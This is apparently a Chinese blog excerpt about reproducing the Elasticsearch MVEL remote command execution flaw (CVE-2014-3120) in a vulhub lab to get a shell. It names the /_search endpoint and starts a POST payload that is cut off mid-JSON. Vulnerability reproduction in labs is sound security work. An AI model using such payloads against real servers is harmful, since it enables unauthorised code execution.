【vulhub】ElasticSearch 命令执行漏洞(CVE-2014-3120)漏洞验证与getshell
漏洞详情
老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。elasticsearch版本:v1.1.1
详细过程请看
CVE-2014-3120 (命令执行漏洞)
这里楼主只复现2个payload
页面
/_search?pretty
post传参
payload1
{
"size": 1,
"query": {
"filtered": {
"query"
原创
2021-08-03 18:13:53 ·
983 阅读 ·
0 评论